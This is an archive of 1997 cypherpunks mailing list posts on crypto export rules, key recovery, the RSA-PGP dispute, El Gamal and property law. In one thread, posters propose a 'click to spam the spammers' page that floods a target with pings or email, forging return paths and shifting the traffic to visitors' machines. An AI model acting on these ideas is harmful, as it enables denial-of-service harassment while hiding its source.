by terrifying corporations with the threats of seizure of assets and
massive fines if various War on Drugs measures are not "voluntarily"
adopted. Thus, we can expect to see corporations pressed into service as
unpaid crypto warriors.

It's all part of the New World Order. Don't laugh. Conspiracy theories
aside, it's part of an overall trend to emasculate and disarm obstreprous
citizen-units, all in the name of public safety. Of course, what it really
is about is the natural role for any government to play: to keep itself in
power. Thus, laws are passed by regimes on all sides of the political
spectrum to make dissent and revolution harder for citizen units to mount.

Nothing new here.

The problem cannot be solved politically. Just stay clear of soft targets.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rory Picard <Rory@Accesshub.com>
Date: Fri, 9 May 1997 02:14:04 +0800
To: cypherpunks@toad.com
Subject: mailing list
Message-ID: <3372127C.6826@Accesshub.com>
MIME-Version: 1.0
Content-Type: text/plain


james@accesshub.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 08:22:30 +0800
To: cypherpunks@toad.com
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <3.0.1.32.19970508001526.027646a4@panix.com>
Message-ID: <2yae7D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


frissell@panix.com writes:
> 
> At 07:50 PM 5/7/97 -0500, Igor Chudov @ home wrote:
> >According to americal common law, as I understand it, no one can get
> >a valid title to the property from someone who did not have such title.
> >
> >E.g., if you steal Vulis's car and then sell it to me, I will not have
> >the title to the car and will have to return it back to Vulis (and may
> >be able to try to recover my loss from you). The same will be true if
> >you lend the stolen car to me -- he can get it back if he proves that it
> >is his.
> 
> The thief's ownership of personal property is good against the whole world
> save the true owner. 
> 
> "18. In general, possession constitutes the criterion of title of 
> personal property, because no other means exist by which a knowledge of the 
> fact to whom it belongs can be attained. A seller of a chattel is not, 
> therefore, required to show the origin of his title, nor, in general, is a 
> purchaser, without notice of the claim of the owner, compellable to make 
> restitution; but, it seems, that a purchaser from a tenant for life of 
> personal chattels, will not be secure against the claims of those entitled 
> in remainder. Cowp. 432; 1 Bro. C. C. 274; 2 T. R. 376; 3 Atk. 44; 3 V. & B. 
> 16."
> 

My problem with Igor's model is that has a "gubmint" that can decide that
although you possess something, you don't have a title to it.

I don't think the cost of having a "gubmint" justifies the convenience(?)
of having one's stolen property recovered.

I point Igor's attention to the two categories of real estate ownership in
traditional Russian legal framework (probably borrowed from Poland and
Germany...) - the kind that cannot be taken away by the state for any
reasn (even as punishment for treason), and the kind that can be taken
away, e.g., for non-paymet of taxes.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 9 May 1997 04:18:02 +0800
To: cypherpunks@toad.com
Subject: Encryption--RSA v. PGP
Message-ID: <v03020954af97d5675cc5@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


MIME-version: 1.0
X-MIME-Autoconverted: from quoted-printable to 8bit by listserv.aol.com id
                      LAA22230
Date:         Thu, 8 May 1997 11:02:39 -0500
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Kevin J. Connolly" <kconnolly@EVW.COM>
Subject:      Encryption--RSA v. PGP
To:           CYBERIA-L@LISTSERV.AOL.COM

-----BEGIN PGP SIGNED MESSAGE-----

RSA Data Security, Inc. filed an action in the Superior Court of California,
San Mateo County, against Pretty Good Privacy, Inc.  PGP has been
claiming that its license to distribute RSA-based encryption software is
based on a chain running from Public Key Partners to Viacrypt, Inc.  PGP
acquired Viacrypt, Inc. in January 1996 and has been selling RSA-based
encryption software for commercial use ever since.  The complaint, filed
by Tomlinson Zisko Morosoli & Maser, alleges that PGP's license is
derived from a license to Lemcom, which in turn has been terminated.

This might well mean the end of PGP.  This would certainly be a bad
outcome for security and freedom on the Internet.  I will be following
these developments and report to the list.  It's ironic that RSA is doing this
while complaining about PGP conduct as a freeloader.  I doubt that public
key encryption would be anywhere as notorious as it has become if it
were not for Phil Zimmermannn's crusade; and I haven't noticed RSA
offering to help with Phil's legal expenses.

Kevin J. Connolly
The opinions expressed in this communication are those of the author,
not of Eaton & Van Winkle.
This communication is not legal advice.  If it were legal advice, it would
be accompanied by an invoice.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM3HrGTQOqu5WyMfpAQFX7AP/T0R54+S05FqKJ+zZXVb1uCHMrPZmagEm
aiW9Dfgwo/K3tXbkrbS0WEtCc8tZobXbL7fLOT82qzKvXehRsERILV2keeaXlAe7
WN5c66SjaWe/xGfLQ/8UAnzaBl6l+olG8gN2zxGatbLDcKuakP7j0LGRuzhTXAaG
BOYGDUbsSAY=
=VCFW
-----END PGP SIGNATURE-----

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 9 May 1997 07:23:54 +0800
To: cypherpunks@cyberpass.net
Subject: Business needs over citizen rights
Message-ID: <v03007800af980cb96a14@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



It's interesting that in the various recent developments over crypto, the
needs of business are taking priority over the basic rights of citizens. In
fact, the debate is being driven by issues of "competitiveness."

* In the latest round of crypto export policy, relayed to us by Will Rodger
of "Interactive Week," it is relaxation of export for financial and banking
software that is being pushed. (Possibly connected to the next item,
though.)

* Meanwhile, the Administration's "Crypto Import Restrictions" (officially
entitled "The Safe Streets, Child Protection, and Public Safety Act") are
about to be introduced, as reported to us by Brock Meeks (on this list by
Bill Stewart). It is possible that this is also related to corporate
interests, as this would stop certain offshore developers--unhindered by
U.S. laws--from competing in the U.S. against U.S. companies (this is mere
speculation on my part, but it may be part of the big picture).

* And SAFE has special provisions for financial cryptography (read: Banking
interests), while also putting the screws to any citizen-units who step out
of bounds with crypto.

...and so on.

What these trends add up to is an almost complete disregard for basic,
fundamental issues of civil liberties and freedom in favor of various
craftings of laws to advantage some American companies, disadvantage other
American companies, and manipulate the international competitive scene.

This is what politics has always been, of course. Pork barrels and pigs at
the trough, to mix some porcine metaphors.

It shows how far we have degenerated as a nation. Exactly which parts of
the First, Second, etc. Amendments do these porkers not understand?

May they all be vaporized.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Thu, 8 May 1997 23:23:27 +0800
To: Michael.Johnson@mejl.com (Mike)
Subject: Re: Netscape-128 not at Replay.com
In-Reply-To: <3.0.1.32.19970507140543.00912550@localhost>
Message-ID: <199705081432.QAA02801@basement.replay.com>
MIME-Version: 1.0
Content-Type: text



ftp.replay.com:/pub/crypto/browsers


: 
: 
: It seems that the US versions of Netscape have been removed from
: ftp.replay.com. Did Netscape comment on the software being available, or
: what happened?
: 
: Mike.
: 
: 


-- 
 -aj-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Fri, 9 May 1997 06:17:11 +0800
To: Will Rodger <cypherpunks@toad.com
Subject: Re: Clinton Admin. to announce new Crypto regs
In-Reply-To: <3.0.32.19970508104809.0070e8cc@postoffice.worldnet.att.net>
Message-ID: <v03007814af9801832ac0@[172.17.1.61]>
MIME-Version: 1.0
Content-Type: text/plain


These "new" regulations "to be issued" are scrambling to catch up with
previous and current practices. It doesn't change things at all.

When they issued the new export regulations in January, the glaring hole
was the absence of an explicit exception for the financial industry. Under
the customs that evolved around ITAR, you could get an export license for
strong crypto as long as the overseas customer was a financial institution.
This announcement is simply a public acknowledgment that the BXA will look
favorably on export requests to banks and that someday they'll try to draft
specific regulations on the subject. Meanwhile you do it by grinding
through the bureacracy.

Export permission for strong crypto that only encrypts financial data is
clearly a variant of this tradition. They already granted export permission
for one vendor of such a system, so I'm not surprised they're planning to
make up a regulation to cover it.

Rick.
smith@securecomputing.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 9 May 1997 09:33:39 +0800
To: cypherpunks@algebra.com
Subject: [ADMIN] Stego in posts
Message-ID: <199705090019.RAA09654@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>> In a message dated 97-05-05 20:54:49 EDT, you write:
>> 
>> <<
>>   Write a guys/girls name here_______________ or say aloud.  In 21 days he/she
>>  will show his/her love 4-U!! CAUTION!  Any guy/girl who breaks this chain
>> will have bad like w/ guy/girls 4-ever!!!!!!!!!!!
>>  Pass this on 10 times!!!!!!!!!!!!!!!!! >>








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Fri, 9 May 1997 09:22:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Business needs over citizen rights
In-Reply-To: <v03007800af980cb96a14@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.970508184855.27050E-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 8 May 1997, Tim May wrote:

> It's interesting that in the various recent developments over crypto, the
> needs of business are taking priority over the basic rights of citizens. In
> fact, the debate is being driven by issues of "competitiveness."

Um, what's so interesting about this? That's the way it has always been.

> What these trends add up to is an almost complete disregard for basic,
> fundamental issues of civil liberties and freedom in favor of various
> craftings of laws to advantage some American companies, disadvantage other
> American companies, and manipulate the international competitive scene.

Which social class was primarily responsible for the American war of
Independance? Wasn't the American civil war fought over tarrifs, rather
than slavery? Wasn't Viet Nam one big economic undertaking? 

Tim! Find your shoes and get out once in a while. :)

-r.w.
Are you better of now than you were four years ago? Re-elect the Illuminati!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Fri, 9 May 1997 08:27:29 +0800
To: cypherpunks@toad.com
Subject: guns_1.html
Message-ID: <199705082310.TAA01512@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
                                   [LINK]
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: US Envoy Struggles to Revive Israeli-PLO Talks
   Next Story: Bill Will Tie U.S. Aid to Bosnia Arrests
     _________________________________________________________________
   
   Thursday May 8 2:16 PM EDT 
   
Bill Sought to Ban Military Firearm Imports

   WASHINGTON (Reuter) - A bill to ban imports of surplus military
   firearms back into the United States was introduced Thursday in the
   House and the Senate.
   
   Guns such as the M-1 carbine were given or sold by the United States
   to some 20 nations over the last 50 years. Sponsors of the bill said
   many of the 2 1/2 million weapons were now being imported to the
   United States and used by criminals.
   
   "These wartime weapons are the kinds of guns that criminals can easily
   convert into illegal, fully automatic weapons," Sen. Frank Lautenberg,
   a New Jersey Democrat, said at a news conference.
   
   Lautenberg said many of the weapons were coming from Iran, once a U.S.
   ally but now estranged from Washington.
   
   "The Ayatollah (Khomeini) must be laughing in his grave," Lautenberg
   said, referring to Iran's late revolutionary leader.
   
   Lautenberg was joined in introducing the bill by Sen. Barbara Boxer of
   California and Reps. Patrick Kennedy of Rhode Island and Carolym
   Maloney of New York, all Democrats.
   
   They said it would allow collectors to buy imports of rifles from the
   Second World War or earlier.
   
   "The Anti-Gun Invasion act will slam the door on weapons, once
   intended to help our allies, from coming back into our country and
   getting into the hands of criminals," Kennedy said.
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
     _________________________________________________________________
   
   Previous Story: US Envoy Struggles to Revive Israeli-PLO Talks
   Next Story: Bill Will Tie U.S. Aid to Bosnia Arrests
     _________________________________________________________________
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 9 May 1997 10:40:29 +0800
To: cryptography@c2.net
Subject: Re: key recovery vs data backup
In-Reply-To: <3.0.32.19970507215549.0074ceec@netcom13.netcom.com>
Message-ID: <19970508192011.29178@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 07, 1997 at 09:56:21PM -0700, Lucky Green wrote:
> At 11:47 PM 5/7/97 -0400, Carl Ellison wrote:
> >I was saying that if Sam needs to read my encrypted file/mail, then I should 
> >list Sam as a crypto-recipient.  If Acme,Inc. needs to read my encrypted 
> >file/mail, then I should list Acme,Inc. as a crypto-recipient.
> >
> >There's no safe of keys.  It's even simpler to explain to an executive.
> 
> Several people on this list asked me to elaborate on my claim that KR is
> not required. I doubt that I could put it more succinctly than Carl has in
> his post.

Unfortunately, it doesn't solve the problem at all.  In fact it
doesn't even address the problem.  So much so that reading these
replies makes me think that I am looking at different problem than
you. 

So perhaps backing up to discuss the problem a bit would be helpful. 
I hope you will forgive me if this is old ground.  

The problem is key management for an organization.  

The keys are used to protect and authenticate data owned, not by any
individual, but by an organization.  Keys are generated for the
organization's purposes, not the purposes of any individual. 
Furthermore, the individual privacy of an individual who works for an
organization is not a necessary priority for the organization. 

Organizations are composed of many individuals, some of which may not
share the goals of the organization, or who may indeed be inimical to
the organization.  And the members of an organization may vary widely
in competence, personal responsibility, and so on.  Thus, the members
of an organization cannot be trusted to do the "right thing".  [I am
using "organization" in a loose sense, so that we can consider a
business an organization, and an employee as a member of that
organization.]

In fact, in most cases, only a small fraction of the members of an
organization care more about the welfare of the organization than
about their personal welfare.  So people will almost always be more
concerned about their own personal data security than they will for
that of an organization.  This, coupled with difficulties of
coordination and control, and the above conditions, means that in a
global sense information security for an organization will always be
difficult, regardless of the security of the crypto they use. 

For a moment consider the analogy with physical keys.  Consider the
key management problem of a moderate sized corporation that occupies a
large office building.  There are office keys, storeroom keys, supply
room keys, conference room keys, bathroom keys, keys to filing
cabinets -- there are *lots* of keys, lots of different delegations of
authority involved.  In many cases there is a "key czar", a "building
coordinator" that hands out keys, and gets them back when someone
changes offices or jobs.  It *has* to be this way -- you can't rekey
the entire building when a janitor quites.  So, occasionally it is
necessary to rekey a lock, but typically keys are just reused.  Many
office keys are designed to be difficult to casually duplicate, for 
this reason.

Of course any key *can* be duplicated, but that's not really that
important -- the building is full of employees during the day, and 
the night watchman checks each person that enters after normal 
hours.  

All these physical keys all fit locks that can be broken quite easily
-- there is essentially *no* possibility of something valuable being
lost behind a lock that cannot be broken.  This is vastly different
from cryptographic keys -- for all systems of interest, encryption
represents locks that cannot be broken.  Data behind a lost 
cryptographic key is gone forever.  You can't call a locksmith or a 
safe cracker.  It's really just gone.

With this background, perhaps now you can see why I say that Carl's 
solution doesn't even address the problem.  The problem is management 
of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
What part of the organization that is Acme Corp is authorized to know 
this particular bit of information?  Because some of the employees 
are idiots you want this built automatically into the application 
they are using for encryption/email/whatever.  How does this software 
know what policy is appropriate for which employee?  How is that 
policy distributed?  What is the interface that allows a policy to be 
defined?   How do you protect the policy definition from subversion?

Contrast that with a key-safe model, where a copy of every encryption
key is kept in a secure database.  The encryption client software only
talks to the key-safe when a new key is generated, over a
cryptographically secure channel, of course.  There is no policy the
client has to know.  The user encrypts freely without concern about
who else should get copies.  The organization knows that there is very
little chance of data loss because of lost keys, and can use any
policy it chooses to recover keys, from the company president's ad hoc
whim to a carefully specified organization al security policy. 

Access to the key-safe is critical, of course, but it can be made 
very secure -- a special-purpose piece of hardware that requires 
passwords from n out of m key czars before access is granted, for 
example.  Or the contents of the key safe can be encrypted via keys 
escrowed through a secret sharing mechanism

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 9 May 1997 10:45:20 +0800
To: cypherpunks@toad.com
Subject: Re: El Gamal
In-Reply-To: <199705090000.UAA02189@linux.nycmetro.com>
Message-ID: <v03007801af9848d58988@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:00 PM -0800 5/8/97, harka@nycmetro.com wrote:

>How does El Gamal compare functionally and security-wise to RSA and
>who developed it?

Yes, who did develop El Gamal?

Could it have been....El Gamal?


(Or was that a trick question?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 9 May 1997 08:15:43 +0800
To: cypherpunks@toad.com
Subject: Kerrey on His Crypto Bill
Message-ID: <1.5.4.32.19970508232813.008addb8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Senator Kerrey's office faxed a transcript of his remarks
today on his new encryption bill:

   http://jya.com/kerrey.htm  (23K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kqb@planet.net
Date: Fri, 9 May 1997 08:33:11 +0800
To: cypherpunks@cyberpass.net
Subject: Stego Cash?
Message-ID: <199705082338.TAA24157@rho.pair.com>
MIME-Version: 1.0
Content-Type: text/plain


Previous Subject: Re: Clinton Admin. to announce new Crypto regs

Rick Smith <smith@securecomputing.com> said:
> These "new" regulations "to be issued" are scrambling to catch up with
> previous and current practices. It doesn't change things at all.
>   . . .
> Export permission for strong crypto that only encrypts financial data is
> clearly a variant of this tradition.

This raises an intriguing possibility that I am sure is _not_
intended by the regulators.  If the cash is cheap enough, perhaps
it could be an economical carrier of encrypted messages.  What I have
in mind is somewhat analogous to papering your wall with dollar bills,
which clearly is uneconomical unless the dollar bills are really cheap.

What does it take to set up an offshore "remailer bank"?  Of course,
the digital cash it uses must be very INefficient, chock full of bit
bloat that hosts plenty of not-so-subliminal channels. 8-)

    Kevin Q. Brown
    kqb@planet.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 9 May 1997 10:54:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stego Cash?
In-Reply-To: <199705082338.TAA24157@rho.pair.com>
Message-ID: <v03007801af984c267819@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:38 PM -0800 5/8/97, kqb@planet.net wrote:
>Previous Subject: Re: Clinton Admin. to announce new Crypto regs
>
>Rick Smith <smith@securecomputing.com> said:
>> These "new" regulations "to be issued" are scrambling to catch up with
>> previous and current practices. It doesn't change things at all.
>>   . . .
>> Export permission for strong crypto that only encrypts financial data is
>> clearly a variant of this tradition.
>
>This raises an intriguing possibility that I am sure is _not_
>intended by the regulators.  If the cash is cheap enough, perhaps
>it could be an economical carrier of encrypted messages.  What I have
>in mind is somewhat analogous to papering your wall with dollar bills,
>which clearly is uneconomical unless the dollar bills are really cheap.
>
>What does it take to set up an offshore "remailer bank"?  Of course,
>the digital cash it uses must be very INefficient, chock full of bit
>bloat that hosts plenty of not-so-subliminal channels. 8-)

You hit the nail on the head with your last line: subliminal channels.

Even financial software, ostensibly with no export controls, will still
have to be vetted for export, as any system usable for financial
cryptography is almost certainly usable for "other purposes."

I suppose that in past generations of "banking software" this was less
obviously the case, as SWIFT and whatever the systems were used DES and
variants. But as banking software moves to public key approaches, the
possibilities drastically multiply.

Wanna bet that if a Cypherpunk sets up a digital cash system using
extremely strong crypto that it won't be an easy matter to get export
approval, no matter what the new rules supposedly are?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 9 May 1997 08:39:58 +0800
To: cypherpunks@toad.com
Subject: El Gamal
Message-ID: <199705090000.UAA02189@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

aba@dcs.ex.ac.uk wrote:

>PGP has been standardising on El Gamal which is not covered by RSA's
>patents, for precisely the reason that RSA Inc has a bad record as a
>litigious patent worker.  El Gamal is a variant of Diffie-Hellman, 
>and the patents on Diffie-Hellman are set to expire RSN (later this 
>year, Sept?)

How does El Gamal compare functionally and security-wise to RSA and 
who developed it?

>I think that the initial PGP products are using RSA, however I 
>understood PGP is moving to El Gamal, where RSA is due to be 
>relegated to a `for backwards compatibility only' feature. 

Is El Gamal used in the source for PGP 3.0?

Ciao

Harka 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM3JpGjltEBIEF0MBAQFDfQf8CawUGU1ynDlmcmsloy7zsh5oQUhcxPSv
Luy17oVmbWVeCWpCbqqiWFoRh1+QzBBc8Yfbb2/2LOw1KFyIq5lQ8Ly64JPuVMgV
HUocUDnPE7Q18eVVXOfNyG6vg/s0PBRqREVrx1QWn37idPduMTg0TE/IHZqFVrso
3XdVroh41aX7qVnan2+nRnVCbrV9xMvNteWOUl/nADLHCAkoMl/eCcQVY/XSmFjc
SsUbNNgCDBJlZhAwAI/CBLM7CBVt4okZQkdKeLNWsrm1tG2yha7vl/2AI6k1Y70H
2g1zTrhqK7q/rqkNL6DKyam/NZ1FKXtO0BsTLsV6KqmI7SnGN4UZXw==
=f4Qu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 9 May 1997 09:26:48 +0800
To: cypherpunks@toad.com
Subject: Mega Death
Message-ID: <1.5.4.32.19970509001538.008de4a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


White House press briefing May 8:

             Q    Mike, Attorney General Reno today confirmed 
that the Justice Department is investigating the possibility of a 
high-level Israeli spy in the U.S. government.  How is it going 
to impact relations with Israel at this point?

             MR. MCCURRY:  No comment on that subject. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 9 May 1997 09:19:20 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970507142536.009a7e90@gateway.grumman.com>
Message-ID: <3.0.1.32.19970508203058.0099c100@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


>First of all, Wallace is a great guy and anyone who interferes with his
>freedom of speech is scum on par with C2Net.

That's your opinion, and you certainly have a right to it.  I don't want to
start the spam war all over again, suffice it to say that it's not an
opinion I happen to agree with.

>Second, if you run a cgi script in this manner, the pings are still coming
>from the web server.  You want to ping from the client that the browser's on.

Which is why I suggested the email version as well.  The arp version has
the connotation of being "morally wrong". An email version, while more
processor and bandwidth intensive, is at least no worse than what Sanford
and his crew are already doing.

Like I said, it's more of a passive agressive thing.  If I were to come
across a page that said "Click here to spam some spammers" and that's all I
had to do, why wouldn't I take 2 seconds of my time to do it?  That's
certainly less time than it takes to go through the amount of spam in my
mail each day.

And who cares if the pings/emails are coming from my site?  For the email
version I just add a header that says something to the effect of "This
email was sent to you on behalf of someone at $REMOTE_HOST" and set the
Return-Path to <root@localhost>.  At that point, how can you prove that it
was sent by your script or just by someone using your SMTPd?


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"This is what we heroes call the denouement, that's French for when we
finish off the supervillains ... huh? ... huh? ...  Roof pig, most
unexpected."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 9 May 1997 10:59:27 +0800
To: devnull@manifold.algebra.com
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <2yae7D2w165w@bwalk.dm.com>
Message-ID: <199705090234.VAA23571@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> > "18. In general, possession constitutes the criterion of title of 
> > personal property, because no other means exist by which a knowledge of the 
> > fact to whom it belongs can be attained. A seller of a chattel is not, 
> > therefore, required to show the origin of his title, nor, in general, is a 
> > purchaser, without notice of the claim of the owner, compellable to make 
> > restitution; but, it seems, that a purchaser from a tenant for life of 
> > personal chattels, will not be secure against the claims of those entitled 
> > in remainder. Cowp. 432; 1 Bro. C. C. 274; 2 T. R. 376; 3 Atk. 44; 3 V. & B. 
> > 16."
> > 
> 
> My problem with Igor's model is that has a "gubmint" that can decide that
> although you possess something, you don't have a title to it.

Seems like it is a matter of value judgment.

To stretch your values a bit, suppose that someone steals your car
and I buy it. Suppose also that I have bodyguards so that you would 
not be able to use force to take it back.

Would you be content if you could not (if the system worked according to
your values) sue to get the car back?

> I don't think the cost of having a "gubmint" justifies the convenience(?)
> of having one's stolen property recovered.
> 
> I point Igor's attention to the two categories of real estate ownership in
> traditional Russian legal framework (probably borrowed from Poland and
> Germany...) - the kind that cannot be taken away by the state for any
> reasn (even as punishment for treason), and the kind that can be taken
> away, e.g., for non-paymet of taxes.

This is confiscation of property, ie, something that the owner has a title
to. A stolen car is not a property (as far as i understand it).

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 9 May 1997 11:07:50 +0800
To: Tim May <tcmay@got.net>
Subject: Re: El Gamal
In-Reply-To: <v03007801af9848d58988@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970508214632.24673B-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 8 May 1997, Tim May wrote:

> 
> (Or was that a trick question?)

Or was *that* a trick question?  
Am I startin' to catch on to this crypto stuff?:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 10:50:28 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508203058.0099c100@gateway.grumman.com>
Message-ID: <ayZe7D51w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne <osborne@gateway.grumman.com> writes:

> >First of all, Wallace is a great guy and anyone who interferes with his
> >freedom of speech is scum on par with C2Net.
>
> That's your opinion, and you certainly have a right to it.  I don't want to
> start the spam war all over again, suffice it to say that it's not an
> opinion I happen to agree with.

You expose your own hypocricy. Wallace is free to spam. I'm free to
ignore his spam, which I do.

> Like I said, it's more of a passive agressive thing.  If I were to come
> across a page that said "Click here to spam some spammers" and that's all I
> had to do, why wouldn't I take 2 seconds of my time to do it?  That's

Can you think of a way to have it originate at the browser's machine, not
your machine? Perhaps an activex program for w95 :-)

> certainly less time than it takes to go through the amount of spam in my
> mail each day.

I suggest you learn to filter your e-mail.

> And who cares if the pings/emails are coming from my site?  For the email
> version I just add a header that says something to the effect of "This
> email was sent to you on behalf of someone at $REMOTE_HOST" and set the

You could also try an html form whose actions send mailto:your@enemy

> Return-Path to <root@localhost>.  At that point, how can you prove that it
> was sent by your script or just by someone using your SMTPd?

He'll just filter out your site.  Wallace has some very smart
people working with him.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 10:57:51 +0800
To: cypherpunks@toad.com
Subject: Re: El Gamal
In-Reply-To: <v03007801af9848d58988@[207.167.93.63]>
Message-ID: <PL1e7D52w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> >How does El Gamal compare functionally and security-wise to RSA and
> >who developed it?
>
> Yes, who did develop El Gamal?
>
> Could it have been....El Gamal?

